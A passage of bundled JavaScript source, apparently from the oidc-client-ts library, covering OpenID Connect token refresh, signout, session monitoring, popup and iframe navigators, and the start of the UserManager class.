CryptoUtils.generateDPoPKeys();\n dpopState = new DPoPState(keyPair, nonce);\n await dpopStore.set(this.settings.client_id, dpopState);\n } else {\n dpopState = await dpopStore.get(this.settings.client_id);\n if (dpopState.nonce !== nonce && nonce) {\n dpopState.nonce = nonce;\n await dpopStore.set(this.settings.client_id, dpopState);\n }\n }\n return await CryptoUtils.generateDPoPProof({\n url: await this.metadataService.getTokenEndpoint(false),\n httpMethod: \"POST\",\n keyPair: dpopState.keys,\n nonce: dpopState.nonce\n });\n }\n async processResourceOwnerPasswordCredentials({\n username,\n password,\n skipUserInfo = false,\n extraTokenParams = {}\n }) {\n const tokenResponse = await this._tokenClient.exchangeCredentials({ username, password, ...extraTokenParams });\n const signinResponse = new SigninResponse(new URLSearchParams());\n Object.assign(signinResponse, tokenResponse);\n await this._validator.validateCredentialsResponse(signinResponse, skipUserInfo);\n return signinResponse;\n }\n async useRefreshToken({\n state,\n redirect_uri,\n resource,\n timeoutInSeconds,\n extraHeaders,\n extraTokenParams\n }) {\n var _a;\n const logger2 = this._logger.create(\"useRefreshToken\");\n let scope;\n if (this.settings.refreshTokenAllowedScope === void 0) {\n scope = state.scope;\n } else {\n const allowableScopes = this.settings.refreshTokenAllowedScope.split(\" \");\n const providedScopes = ((_a = state.scope) == null ? void 0 : _a.split(\" \")) || [];\n scope = providedScopes.filter((s) => allowableScopes.includes(s)).join(\" \");\n }\n if (this.settings.dpop && this.settings.dpop.store) {\n const dpopProof = await this.getDpopProof(this.settings.dpop.store);\n extraHeaders = { ...extraHeaders, \"DPoP\": dpopProof };\n }\n let result;\n try {\n result = await this._tokenClient.exchangeRefreshToken({\n refresh_token: state.refresh_token,\n // provide the (possible filtered) scope list\n scope,\n redirect_uri,\n resource,\n timeoutInSeconds,\n extraHeaders,\n ...extraTokenParams\n });\n } catch (err) {\n if (err instanceof ErrorDPoPNonce && this.settings.dpop) {\n extraHeaders[\"DPoP\"] = await this.getDpopProof(this.settings.dpop.store, err.nonce);\n result = await this._tokenClient.exchangeRefreshToken({\n refresh_token: state.refresh_token,\n // provide the (possible filtered) scope list\n scope,\n redirect_uri,\n resource,\n timeoutInSeconds,\n extraHeaders,\n ...extraTokenParams\n });\n } else {\n throw err;\n }\n }\n const response = new SigninResponse(new URLSearchParams());\n Object.assign(response, result);\n logger2.debug(\"validating response\", response);\n await this._validator.validateRefreshResponse(response, {\n ...state,\n // override the scope in the state handed over to the validator\n // so it can set the granted scope to the requested scope in case none is included in the response\n scope\n });\n return response;\n }\n async createSignoutRequest({\n state,\n id_token_hint,\n client_id,\n request_type,\n url_state,\n post_logout_redirect_uri = this.settings.post_logout_redirect_uri,\n extraQueryParams = this.settings.extraQueryParams\n } = {}) {\n const logger2 = this._logger.create(\"createSignoutRequest\");\n const url = await this.metadataService.getEndSessionEndpoint();\n if (!url) {\n logger2.throw(new Error(\"No end session endpoint\"));\n throw null;\n }\n logger2.debug(\"Received end session endpoint\", url);\n if (!client_id && post_logout_redirect_uri && !id_token_hint) {\n client_id = this.settings.client_id;\n }\n const request = new SignoutRequest({\n url,\n id_token_hint,\n client_id,\n post_logout_redirect_uri,\n state_data: state,\n extraQueryParams,\n request_type,\n url_state\n });\n await this.clearStaleState();\n const signoutState = request.state;\n if (signoutState) {\n logger2.debug(\"Signout request has state to persist\");\n await this.settings.stateStore.set(signoutState.id, signoutState.toStorageString());\n }\n return request;\n }\n async readSignoutResponseState(url, removeState = false) {\n const logger2 = this._logger.create(\"readSignoutResponseState\");\n const response = new SignoutResponse(UrlUtils.readParams(url, this.settings.response_mode));\n if (!response.state) {\n logger2.debug(\"No state in response\");\n if (response.error) {\n logger2.warn(\"Response was error:\", response.error);\n throw new ErrorResponse(response);\n }\n return { state: void 0, response };\n }\n const storedStateString = await this.settings.stateStore[removeState ? \"remove\" : \"get\"](response.state);\n if (!storedStateString) {\n logger2.throw(new Error(\"No matching state found in storage\"));\n throw null;\n }\n const state = await State.fromStorageString(storedStateString);\n return { state, response };\n }\n async processSignoutResponse(url) {\n const logger2 = this._logger.create(\"processSignoutResponse\");\n const { state, response } = await this.readSignoutResponseState(url, true);\n if (state) {\n logger2.debug(\"Received state from storage; validating response\");\n this._validator.validateSignoutResponse(response, state);\n } else {\n logger2.debug(\"No state from storage; skipping response validation\");\n }\n return response;\n }\n clearStaleState() {\n this._logger.create(\"clearStaleState\");\n return State.clearStaleState(this.settings.stateStore, this.settings.staleStateAgeInSeconds);\n }\n async revokeToken(token, type) {\n this._logger.create(\"revokeToken\");\n return await this._tokenClient.revoke({\n token,\n token_type_hint: type\n });\n }\n};\n\n// src/SessionMonitor.ts\nvar SessionMonitor = class {\n constructor(_userManager) {\n this._userManager = _userManager;\n this._logger = new Logger(\"SessionMonitor\");\n this._start = async (user) => {\n const session_state = user.session_state;\n if (!session_state) {\n return;\n }\n const logger2 = this._logger.create(\"_start\");\n if (user.profile) {\n this._sub = user.profile.sub;\n logger2.debug(\"session_state\", session_state, \", sub\", this._sub);\n } else {\n this._sub = void 0;\n logger2.debug(\"session_state\", session_state, \", anonymous user\");\n }\n if (this._checkSessionIFrame) {\n this._checkSessionIFrame.start(session_state);\n return;\n }\n try {\n const url = await this._userManager.metadataService.getCheckSessionIframe();\n if (url) {\n logger2.debug(\"initializing check session iframe\");\n const client_id = this._userManager.settings.client_id;\n const intervalInSeconds = this._userManager.settings.checkSessionIntervalInSeconds;\n const stopOnError = this._userManager.settings.stopCheckSessionOnError;\n const checkSessionIFrame = new CheckSessionIFrame(this._callback, client_id, url, intervalInSeconds, stopOnError);\n await checkSessionIFrame.load();\n this._checkSessionIFrame = checkSessionIFrame;\n checkSessionIFrame.start(session_state);\n } else {\n logger2.warn(\"no check session iframe found in the metadata\");\n }\n } catch (err) {\n logger2.error(\"Error from getCheckSessionIframe:\", err instanceof Error ? err.message : err);\n }\n };\n this._stop = () => {\n const logger2 = this._logger.create(\"_stop\");\n this._sub = void 0;\n if (this._checkSessionIFrame) {\n this._checkSessionIFrame.stop();\n }\n if (this._userManager.settings.monitorAnonymousSession) {\n const timerHandle = setInterval(async () => {\n clearInterval(timerHandle);\n try {\n const session = await this._userManager.querySessionStatus();\n if (session) {\n const tmpUser = {\n session_state: session.session_state,\n profile: session.sub ? {\n sub: session.sub\n } : null\n };\n void this._start(tmpUser);\n }\n } catch (err) {\n logger2.error(\"error from querySessionStatus\", err instanceof Error ? err.message : err);\n }\n }, 1e3);\n }\n };\n this._callback = async () => {\n const logger2 = this._logger.create(\"_callback\");\n try {\n const session = await this._userManager.querySessionStatus();\n let raiseEvent = true;\n if (session && this._checkSessionIFrame) {\n if (session.sub === this._sub) {\n raiseEvent = false;\n this._checkSessionIFrame.start(session.session_state);\n logger2.debug(\"same sub still logged in at OP, session state has changed, restarting check session iframe; session_state\", session.session_state);\n await this._userManager.events._raiseUserSessionChanged();\n } else {\n logger2.debug(\"different subject signed into OP\", session.sub);\n }\n } else {\n logger2.debug(\"subject no longer signed into OP\");\n }\n if (raiseEvent) {\n if (this._sub) {\n await this._userManager.events._raiseUserSignedOut();\n } else {\n await this._userManager.events._raiseUserSignedIn();\n }\n } else {\n logger2.debug(\"no change in session detected, no event to raise\");\n }\n } catch (err) {\n if (this._sub) {\n logger2.debug(\"Error calling queryCurrentSigninSession; raising signed out event\", err);\n await this._userManager.events._raiseUserSignedOut();\n }\n }\n };\n if (!_userManager) {\n this._logger.throw(new Error(\"No user manager passed\"));\n }\n this._userManager.events.addUserLoaded(this._start);\n this._userManager.events.addUserUnloaded(this._stop);\n this._init().catch((err) => {\n this._logger.error(err);\n });\n }\n async _init() {\n this._logger.create(\"_init\");\n const user = await this._userManager.getUser();\n if (user) {\n void this._start(user);\n } else if (this._userManager.settings.monitorAnonymousSession) {\n const session = await this._userManager.querySessionStatus();\n if (session) {\n const tmpUser = {\n session_state: session.session_state,\n profile: session.sub ? {\n sub: session.sub\n } : null\n };\n void this._start(tmpUser);\n }\n }\n }\n};\n\n// src/User.ts\nvar User = class _User {\n constructor(args) {\n var _a;\n this.id_token = args.id_token;\n this.session_state = (_a = args.session_state) != null ? _a : null;\n this.access_token = args.access_token;\n this.refresh_token = args.refresh_token;\n this.token_type = args.token_type;\n this.scope = args.scope;\n this.profile = args.profile;\n this.expires_at = args.expires_at;\n this.state = args.userState;\n this.url_state = args.url_state;\n }\n /** Computed number of seconds the access token has remaining. */\n get expires_in() {\n if (this.expires_at === void 0) {\n return void 0;\n }\n return this.expires_at - Timer.getEpochTime();\n }\n set expires_in(value) {\n if (value !== void 0) {\n this.expires_at = Math.floor(value) + Timer.getEpochTime();\n }\n }\n /** Computed value indicating if the access token is expired. */\n get expired() {\n const expires_in = this.expires_in;\n if (expires_in === void 0) {\n return void 0;\n }\n return expires_in <= 0;\n }\n /** Array representing the parsed values from the `scope`. */\n get scopes() {\n var _a, _b;\n return (_b = (_a = this.scope) == null ? void 0 : _a.split(\" \")) != null ? _b : [];\n }\n toStorageString() {\n new Logger(\"User\").create(\"toStorageString\");\n return JSON.stringify({\n id_token: this.id_token,\n session_state: this.session_state,\n access_token: this.access_token,\n refresh_token: this.refresh_token,\n token_type: this.token_type,\n scope: this.scope,\n profile: this.profile,\n expires_at: this.expires_at\n });\n }\n static fromStorageString(storageString) {\n Logger.createStatic(\"User\", \"fromStorageString\");\n return new _User(JSON.parse(storageString));\n }\n};\n\n// src/navigators/AbstractChildWindow.ts\nvar messageSource = \"oidc-client\";\nvar AbstractChildWindow = class {\n constructor() {\n this._abort = new Event(\"Window navigation aborted\");\n this._disposeHandlers = /* @__PURE__ */ new Set();\n this._window = null;\n }\n async navigate(params) {\n const logger2 = this._logger.create(\"navigate\");\n if (!this._window) {\n throw new Error(\"Attempted to navigate on a disposed window\");\n }\n logger2.debug(\"setting URL in window\");\n this._window.location.replace(params.url);\n const { url, keepOpen } = await new Promise((resolve, reject) => {\n const listener = (e) => {\n var _a;\n const data = e.data;\n const origin = (_a = params.scriptOrigin) != null ? _a : window.location.origin;\n if (e.origin !== origin || (data == null ? void 0 : data.source) !== messageSource) {\n return;\n }\n try {\n const state = UrlUtils.readParams(data.url, params.response_mode).get(\"state\");\n if (!state) {\n logger2.warn(\"no state found in response url\");\n }\n if (e.source !== this._window && state !== params.state) {\n return;\n }\n } catch {\n this._dispose();\n reject(new Error(\"Invalid response from window\"));\n }\n resolve(data);\n };\n window.addEventListener(\"message\", listener, false);\n this._disposeHandlers.add(() => window.removeEventListener(\"message\", listener, false));\n const channel = new BroadcastChannel(`oidc-client-popup-${params.state}`);\n channel.addEventListener(\"message\", listener, false);\n this._disposeHandlers.add(() => channel.close());\n this._disposeHandlers.add(this._abort.addHandler((reason) => {\n this._dispose();\n reject(reason);\n }));\n });\n logger2.debug(\"got response from window\");\n this._dispose();\n if (!keepOpen) {\n this.close();\n }\n return { url };\n }\n _dispose() {\n this._logger.create(\"_dispose\");\n for (const dispose of this._disposeHandlers) {\n dispose();\n }\n this._disposeHandlers.clear();\n }\n static _notifyParent(parent, url, keepOpen = false, targetOrigin = window.location.origin) {\n const msgData = {\n source: messageSource,\n url,\n keepOpen\n };\n const logger2 = new Logger(\"_notifyParent\");\n if (parent) {\n logger2.debug(\"With parent. Using parent.postMessage.\");\n parent.postMessage(msgData, targetOrigin);\n } else {\n logger2.debug(\"No parent. Using BroadcastChannel.\");\n const state = new URL(url).searchParams.get(\"state\");\n if (!state) {\n throw new Error(\"No parent and no state in URL. Can't complete notification.\");\n }\n const channel = new BroadcastChannel(`oidc-client-popup-${state}`);\n channel.postMessage(msgData);\n channel.close();\n }\n }\n};\n\n// src/UserManagerSettings.ts\nvar DefaultPopupWindowFeatures = {\n location: false,\n toolbar: false,\n height: 640,\n closePopupWindowAfterInSeconds: -1\n};\nvar DefaultPopupTarget = \"_blank\";\nvar DefaultAccessTokenExpiringNotificationTimeInSeconds = 60;\nvar DefaultCheckSessionIntervalInSeconds = 2;\nvar DefaultSilentRequestTimeoutInSeconds = 10;\nvar UserManagerSettingsStore = class extends OidcClientSettingsStore {\n constructor(args) {\n const {\n popup_redirect_uri = args.redirect_uri,\n popup_post_logout_redirect_uri = args.post_logout_redirect_uri,\n popupWindowFeatures = DefaultPopupWindowFeatures,\n popupWindowTarget = DefaultPopupTarget,\n redirectMethod = \"assign\",\n redirectTarget = \"self\",\n iframeNotifyParentOrigin = args.iframeNotifyParentOrigin,\n iframeScriptOrigin = args.iframeScriptOrigin,\n requestTimeoutInSeconds,\n silent_redirect_uri = args.redirect_uri,\n silentRequestTimeoutInSeconds,\n automaticSilentRenew = true,\n validateSubOnSilentRenew = true,\n includeIdTokenInSilentRenew = false,\n monitorSession = false,\n monitorAnonymousSession = false,\n checkSessionIntervalInSeconds = DefaultCheckSessionIntervalInSeconds,\n query_status_response_type = \"code\",\n stopCheckSessionOnError = true,\n revokeTokenTypes = [\"access_token\", \"refresh_token\"],\n revokeTokensOnSignout = false,\n includeIdTokenInSilentSignout = false,\n accessTokenExpiringNotificationTimeInSeconds = DefaultAccessTokenExpiringNotificationTimeInSeconds,\n userStore\n } = args;\n super(args);\n this.popup_redirect_uri = popup_redirect_uri;\n this.popup_post_logout_redirect_uri = popup_post_logout_redirect_uri;\n this.popupWindowFeatures = popupWindowFeatures;\n this.popupWindowTarget = popupWindowTarget;\n this.redirectMethod = redirectMethod;\n this.redirectTarget = redirectTarget;\n this.iframeNotifyParentOrigin = iframeNotifyParentOrigin;\n this.iframeScriptOrigin = iframeScriptOrigin;\n this.silent_redirect_uri = silent_redirect_uri;\n this.silentRequestTimeoutInSeconds = silentRequestTimeoutInSeconds || requestTimeoutInSeconds || DefaultSilentRequestTimeoutInSeconds;\n this.automaticSilentRenew = automaticSilentRenew;\n this.validateSubOnSilentRenew = validateSubOnSilentRenew;\n this.includeIdTokenInSilentRenew = includeIdTokenInSilentRenew;\n this.monitorSession = monitorSession;\n this.monitorAnonymousSession = monitorAnonymousSession;\n this.checkSessionIntervalInSeconds = checkSessionIntervalInSeconds;\n this.stopCheckSessionOnError = stopCheckSessionOnError;\n this.query_status_response_type = query_status_response_type;\n this.revokeTokenTypes = revokeTokenTypes;\n this.revokeTokensOnSignout = revokeTokensOnSignout;\n this.includeIdTokenInSilentSignout = includeIdTokenInSilentSignout;\n this.accessTokenExpiringNotificationTimeInSeconds = accessTokenExpiringNotificationTimeInSeconds;\n if (userStore) {\n this.userStore = userStore;\n } else {\n const store = typeof window !== \"undefined\" ? window.sessionStorage : new InMemoryWebStorage();\n this.userStore = new WebStorageStateStore({ store });\n }\n }\n};\n\n// src/navigators/IFrameWindow.ts\nvar IFrameWindow = class _IFrameWindow extends AbstractChildWindow {\n constructor({\n silentRequestTimeoutInSeconds = DefaultSilentRequestTimeoutInSeconds\n }) {\n super();\n this._logger = new Logger(\"IFrameWindow\");\n this._timeoutInSeconds = silentRequestTimeoutInSeconds;\n this._frame = _IFrameWindow.createHiddenIframe();\n this._window = this._frame.contentWindow;\n }\n static createHiddenIframe() {\n const iframe = window.document.createElement(\"iframe\");\n iframe.style.visibility = \"hidden\";\n iframe.style.position = \"fixed\";\n iframe.style.left = \"-1000px\";\n iframe.style.top = \"0\";\n iframe.width = \"0\";\n iframe.height = \"0\";\n window.document.body.appendChild(iframe);\n return iframe;\n }\n async navigate(params) {\n this._logger.debug(\"navigate: Using timeout of:\", this._timeoutInSeconds);\n const timer = setTimeout(() => void this._abort.raise(new ErrorTimeout(\"IFrame timed out without a response\")), this._timeoutInSeconds * 1e3);\n this._disposeHandlers.add(() => clearTimeout(timer));\n return await super.navigate(params);\n }\n close() {\n var _a;\n if (this._frame) {\n if (this._frame.parentNode) {\n this._frame.addEventListener(\"load\", (ev) => {\n var _a2;\n const frame = ev.target;\n (_a2 = frame.parentNode) == null ? void 0 : _a2.removeChild(frame);\n void this._abort.raise(new Error(\"IFrame removed from DOM\"));\n }, true);\n (_a = this._frame.contentWindow) == null ? void 0 : _a.location.replace(\"about:blank\");\n }\n this._frame = null;\n }\n this._window = null;\n }\n static notifyParent(url, targetOrigin) {\n return super._notifyParent(window.parent, url, false, targetOrigin);\n }\n};\n\n// src/navigators/IFrameNavigator.ts\nvar IFrameNavigator = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"IFrameNavigator\");\n }\n async prepare({\n silentRequestTimeoutInSeconds = this._settings.silentRequestTimeoutInSeconds\n }) {\n return new IFrameWindow({ silentRequestTimeoutInSeconds });\n }\n async callback(url) {\n this._logger.create(\"callback\");\n IFrameWindow.notifyParent(url, this._settings.iframeNotifyParentOrigin);\n }\n};\n\n// src/navigators/PopupWindow.ts\nvar checkForPopupClosedInterval = 500;\nvar second = 1e3;\nvar PopupWindow = class extends AbstractChildWindow {\n constructor({\n popupWindowTarget = DefaultPopupTarget,\n popupWindowFeatures = {},\n popupSignal\n }) {\n super();\n this._logger = new Logger(\"PopupWindow\");\n const centeredPopup = PopupUtils.center({ ...DefaultPopupWindowFeatures, ...popupWindowFeatures });\n this._window = window.open(void 0, popupWindowTarget, PopupUtils.serialize(centeredPopup));\n if (popupSignal) {\n popupSignal.addEventListener(\"abort\", () => {\n var _a;\n void this._abort.raise(new Error((_a = popupSignal.reason) != null ? _a : \"Popup aborted\"));\n });\n }\n if (popupWindowFeatures.closePopupWindowAfterInSeconds && popupWindowFeatures.closePopupWindowAfterInSeconds > 0) {\n setTimeout(() => {\n if (!this._window || typeof this._window.closed !== \"boolean\" || this._window.closed) {\n void this._abort.raise(new Error(\"Popup blocked by user\"));\n return;\n }\n this.close();\n }, popupWindowFeatures.closePopupWindowAfterInSeconds * second);\n }\n }\n async navigate(params) {\n var _a;\n (_a = this._window) == null ? void 0 : _a.focus();\n const popupClosedInterval = setInterval(() => {\n if (!this._window || this._window.closed) {\n this._logger.debug(\"Popup closed by user or isolated by redirect\");\n clearPopupClosedInterval();\n this._disposeHandlers.delete(clearPopupClosedInterval);\n }\n }, checkForPopupClosedInterval);\n const clearPopupClosedInterval = () => clearInterval(popupClosedInterval);\n this._disposeHandlers.add(clearPopupClosedInterval);\n return await super.navigate(params);\n }\n close() {\n if (this._window) {\n if (!this._window.closed) {\n this._window.close();\n void this._abort.raise(new Error(\"Popup closed\"));\n }\n }\n this._window = null;\n }\n static notifyOpener(url, keepOpen) {\n super._notifyParent(window.opener, url, keepOpen);\n if (!keepOpen && !window.opener) {\n window.close();\n }\n }\n};\n\n// src/navigators/PopupNavigator.ts\nvar PopupNavigator = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"PopupNavigator\");\n }\n async prepare({\n popupWindowFeatures = this._settings.popupWindowFeatures,\n popupWindowTarget = this._settings.popupWindowTarget,\n popupSignal\n }) {\n return new PopupWindow({ popupWindowFeatures, popupWindowTarget, popupSignal });\n }\n async callback(url, { keepOpen = false }) {\n this._logger.create(\"callback\");\n PopupWindow.notifyOpener(url, keepOpen);\n }\n};\n\n// src/navigators/RedirectNavigator.ts\nvar RedirectNavigator = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"RedirectNavigator\");\n }\n async prepare({\n redirectMethod = this._settings.redirectMethod,\n redirectTarget = this._settings.redirectTarget\n }) {\n var _a;\n this._logger.create(\"prepare\");\n let targetWindow = window.self;\n if (redirectTarget === \"top\") {\n targetWindow = (_a = window.top) != null ? _a : window.self;\n }\n const redirect = targetWindow.location[redirectMethod].bind(targetWindow.location);\n let abort;\n return {\n navigate: async (params) => {\n this._logger.create(\"navigate\");\n const promise = new Promise((resolve, reject) => {\n abort = reject;\n });\n redirect(params.url);\n return await promise;\n },\n close: () => {\n this._logger.create(\"close\");\n abort == null ? void 0 : abort(new Error(\"Redirect aborted\"));\n targetWindow.stop();\n }\n };\n }\n async callback() {\n return;\n }\n};\n\n// src/UserManagerEvents.ts\nvar UserManagerEvents = class extends AccessTokenEvents {\n constructor(settings) {\n super({ expiringNotificationTimeInSeconds: settings.accessTokenExpiringNotificationTimeInSeconds });\n this._logger = new Logger(\"UserManagerEvents\");\n this._userLoaded = new Event(\"User loaded\");\n this._userUnloaded = new Event(\"User unloaded\");\n this._silentRenewError = new Event(\"Silent renew error\");\n this._userSignedIn = new Event(\"User signed in\");\n this._userSignedOut = new Event(\"User signed out\");\n this._userSessionChanged = new Event(\"User session changed\");\n }\n async load(user, raiseEvent = true) {\n await super.load(user);\n if (raiseEvent) {\n await this._userLoaded.raise(user);\n }\n }\n async unload() {\n await super.unload();\n await this._userUnloaded.raise();\n }\n /**\n * Add callback: Raised when a user session has been established (or re-established).\n */\n addUserLoaded(cb) {\n return this._userLoaded.addHandler(cb);\n }\n /**\n * Remove callback: Raised when a user session has been established (or re-established).\n */\n removeUserLoaded(cb) {\n return this._userLoaded.removeHandler(cb);\n }\n /**\n * Add callback: Raised when a user session has been terminated.\n */\n addUserUnloaded(cb) {\n return this._userUnloaded.addHandler(cb);\n }\n /**\n * Remove callback: Raised when a user session has been terminated.\n */\n removeUserUnloaded(cb) {\n return this._userUnloaded.removeHandler(cb);\n }\n /**\n * Add callback: Raised when the automatic silent renew has failed.\n */\n addSilentRenewError(cb) {\n return this._silentRenewError.addHandler(cb);\n }\n /**\n * Remove callback: Raised when the automatic silent renew has failed.\n */\n removeSilentRenewError(cb) {\n return this._silentRenewError.removeHandler(cb);\n }\n /**\n * @internal\n */\n async _raiseSilentRenewError(e) {\n await this._silentRenewError.raise(e);\n }\n /**\n * Add callback: Raised when the user is signed in (when `monitorSession` is set).\n * @see {@link UserManagerSettings.monitorSession}\n */\n addUserSignedIn(cb) {\n return this._userSignedIn.addHandler(cb);\n }\n /**\n * Remove callback: Raised when the user is signed in (when `monitorSession` is set).\n */\n removeUserSignedIn(cb) {\n this._userSignedIn.removeHandler(cb);\n }\n /**\n * @internal\n */\n async _raiseUserSignedIn() {\n await this._userSignedIn.raise();\n }\n /**\n * Add callback: Raised when the user's sign-in status at the OP has changed (when `monitorSession` is set).\n * @see {@link UserManagerSettings.monitorSession}\n */\n addUserSignedOut(cb) {\n return this._userSignedOut.addHandler(cb);\n }\n /**\n * Remove callback: Raised when the user's sign-in status at the OP has changed (when `monitorSession` is set).\n */\n removeUserSignedOut(cb) {\n this._userSignedOut.removeHandler(cb);\n }\n /**\n * @internal\n */\n async _raiseUserSignedOut() {\n await this._userSignedOut.raise();\n }\n /**\n * Add callback: Raised when the user session changed (when `monitorSession` is set).\n * @see {@link UserManagerSettings.monitorSession}\n */\n addUserSessionChanged(cb) {\n return this._userSessionChanged.addHandler(cb);\n }\n /**\n * Remove callback: Raised when the user session changed (when `monitorSession` is set).\n */\n removeUserSessionChanged(cb) {\n this._userSessionChanged.removeHandler(cb);\n }\n /**\n * @internal\n */\n async _raiseUserSessionChanged() {\n await this._userSessionChanged.raise();\n }\n};\n\n// src/SilentRenewService.ts\nvar SilentRenewService = class {\n constructor(_userManager) {\n this._userManager = _userManager;\n this._logger = new Logger(\"SilentRenewService\");\n this._isStarted = false;\n this._retryTimer = new Timer(\"Retry Silent Renew\");\n this._tokenExpiring = async () => {\n const logger2 = this._logger.create(\"_tokenExpiring\");\n try {\n await this._userManager.signinSilent();\n logger2.debug(\"silent token renewal successful\");\n } catch (err) {\n if (err instanceof ErrorTimeout) {\n logger2.warn(\"ErrorTimeout from signinSilent:\", err, \"retry in 5s\");\n this._retryTimer.init(5);\n return;\n }\n logger2.error(\"Error from signinSilent:\", err);\n await this._userManager.events._raiseSilentRenewError(err);\n }\n };\n }\n async start() {\n const logger2 = this._logger.create(\"start\");\n if (!this._isStarted) {\n this._isStarted = true;\n this._userManager.events.addAccessTokenExpiring(this._tokenExpiring);\n this._retryTimer.addHandler(this._tokenExpiring);\n try {\n await this._userManager.getUser();\n } catch (err) {\n logger2.error(\"getUser error\", err);\n }\n }\n }\n stop() {\n if (this._isStarted) {\n this._retryTimer.cancel();\n this._retryTimer.removeHandler(this._tokenExpiring);\n this._userManager.events.removeAccessTokenExpiring(this._tokenExpiring);\n this._isStarted = false;\n }\n }\n};\n\n// src/RefreshState.ts\nvar RefreshState = class {\n constructor(args) {\n this.refresh_token = args.refresh_token;\n this.id_token = args.id_token;\n this.session_state = args.session_state;\n this.scope = args.scope;\n this.profile = args.profile;\n this.data = args.state;\n }\n};\n\n// src/UserManager.ts\nvar UserManager = class {\n constructor(settings, redirectNavigator, popupNavigator, iframeNavigator) {\n this._logger = new Logger(\"UserManager\");\n this.settings = new UserManagerSettingsStore(settings);\n this._client = new OidcClient(settings);\n this._redirectNavigator = redirectNavigator != null ? redirectNavigator : new RedirectNavigator(this.settings);\n this._popupNavigator = popupNavigator != null ? popupNavigator : new PopupNavigator(this.settings);\n this._iframeNavigator = iframeNavigator != null ? iframeNavigator : new IFrameNavigator(this.settings);\n this._events = new UserManagerEvents(this.settings);\n this._silentRenewService = new SilentRenewService(this);\n if (this.settings.automaticSilentRenew) {\n this.startSilentRenew();\n }\n this._sessionMonitor = null;\n if (this.settings.monitorSession) {\n this._sessionMonitor = new SessionMonitor(this);\n }\n }\n /**\n * Get object used to register for events raised by the `UserManager`.\n */\n get events() {\n return this._events;\n }\n /**\n * Get object used to access the metadata configuration of the identity provider.\n */\n get metadataService() {\n return this._client.metadataService;\n }\n /**\n * Load the `User` object for the currently authenticated user.\n *\n * @param raiseEvent - If `true`, the `UserLoaded` event will be raised. Defaults to false.\n * @returns A promise\n */\n async getUser(raiseEvent = false) {\n const logger2 = this._logger.create(\"getUser\");\n const user = await this._loadUser();\n if (user) {\n logger2.info(\"user loaded\");\n await this._events.load(user, raiseEvent);\n return user;\n }\n logger2.info(\"user not found in storage\");\n return null;\n }\n /**\n * Remove from any storage the currently authenticated user.\n *\n * @returns A promise\n */\n async removeUser() {\n const logger2 = this._logger.create(\"removeUser\");\n await this.storeUser(null);\n logger2.info(\"user removed from storage\");\n await this._events.unload();\n }\n /**\n * Trigger a redirect of the current window to the authorization endpoint.\n *\n * @returns A promise\n *\n * @throws `Error` In cases of wrong authentication.\n */\n async signinRedirect(args = {}) {\n var _a;\n this._logger.create(\"signinRedirect\");\n const {\n redirectMethod,\n ...requestArgs\n } = args;\n let dpopJkt;\n if ((_a = this.settings.dpop) == null ? void 0 : _a.bind_authorization_code) {\n dpopJkt = await this.generateDPoPJkt(this.settings.dpop);\n }\n const handle = await this._redirectNavigator.prepare({ redirectMethod });\n await this._signinStart({\n request_type: \"si:r\",\n dpopJkt,\n ...requestArgs\n }, handle);\n }\n /**\n * Process the response (callback) from the authorization endpoint.\n * It is recommended to use {@link UserManager.signinCallback} instead.\n *\n * @returns A promise containing the authenticated `User`.\n *\n * @see {@link UserManager.signinCallback}\n */\n async signinRedirectCallback(url = window.location.href) {\n const logger2 = this._logger.create(\"signinRedirectCallback\");\n const user = await this._signinEnd(url);\n if (user.profile && user.profile.sub) {\n logger2.info(\"success, signed in subject\", user.profile.sub);\n } else {\n logger2.info(\"no subject\");\n }\n return user;\n }\n /**\n * Trigger the signin with user/password.\n *\n * @returns A promise containing the authenticated `User`.\n * @throws {@link ErrorResponse} In cases of wrong authentication.\n */\n async signinResourceOwnerCredentials({\n username,\n password,\n skipUserInfo = false\n }) {\n const logger2 = this._logger.create(\"signinResourceOwnerCredential\");\n const signinResponse = await this._client.processResourceOwnerPasswordCredentials({\n username,\n password,\n skipUserInfo,\n extraTokenParams: this.settings.extraTokenParams\n });\n logger2.debug(\"got signin response\");\n const user = await this._buildUser(signinResponse);\n if (user.profile && user.profile.sub) {\n logger2.info(\"success, signed in subject\", user.profile.sub);\n } else {\n logger2.info(\"no subject\");\n }\n return user;\n }\n /**\n * Trigger a request (via a popup window) to the authorization endpoint.\n *\n * @returns A promise containing the authenticated `User`.\n * @throws `Error` In cases of wrong authentication.\n */\n async signinPopup(args = {}) {\n var _a;\n const logger2 = this._logger.create(\"signinPopup\");\n let dpopJkt;\n if ((_a = this.settings.dpop) == null ? void 0 : _a.bind_authorization_code) {\n dpopJkt = await this.generateDPoPJkt(this.settings.dpop);\n }\n const {\n popupWindowFeatures,\n popupWindowTarget,\n popupSignal,\n ...requestArgs\n } = args;\n const url = this.settings.popup_redirect_uri;\n if (!url) {\n logger2.throw(new Error(\"No popup_redirect_uri configured\"));\n }\n const handle = await this._popupNavigator.prepare({ popupWindowFeatures, popupWindowTarget, popupSignal });\n const user = await this._signin({\n request_type: \"si:p\",\n redirect_uri: url,\n display: \"popup\",\n dpopJkt,\n ...requestArgs\n }, handle);\n if (user) {\n if (user.profile && user.profile.sub) {\n logger2.info(\"success, signed in subject\", user.profile.sub);\n } else {\n logger2.info(\"no subject\");\n }\n }\n return user;\n }\n /**\n * Notify the opening window of response (callback) from the authorization endpoint.\n * It is recommended to use {@link UserManager.signinCallback} instead.\n *\n * @returns A promise\n *\n * @see {@link UserManager.signinCallback}\n */\n async signinPopupCallback(url = window.location.href, keepOpen = false) {\n const logger2 = this._logger.create(\"signinPopupCallback\");\n await this._popupNavigator.callback(url, { keepOpen });\n logger2.info(\"success\");\n }\n /**\n * Trigger a silent request (via refresh token or an iframe) to the authorization endpoint.\n *\n * @returns A promise that contains the authenticated `User`.\n */\n async signinSilent(args = {}) {\n var _a, _b;\n const logger2 = this._logger.create(\"signinSilent\");\n const {\n silentRequestTimeoutInSeconds,\n ...requestArgs\n } = args;\n let user = await this._loadUser();\n if (user == null ? void 0 : user.refresh_token) {\n logger2.debug(\"using refresh token\");\n const state = new RefreshState(user);\n return await this._useRefreshToken({\n state,\n redirect_uri: requestArgs.redirect_uri,\n resource: requestArgs.resource,\n extraTokenParams: requestArgs.extraTokenParams,\n timeoutInSeconds: silentRequestTimeoutInSeconds\n });\n }\n let dpopJkt;\n if ((_a = this.settings.dpop) == null ? void 0 : _a.bind_authorization_code) {\n dpopJkt = await 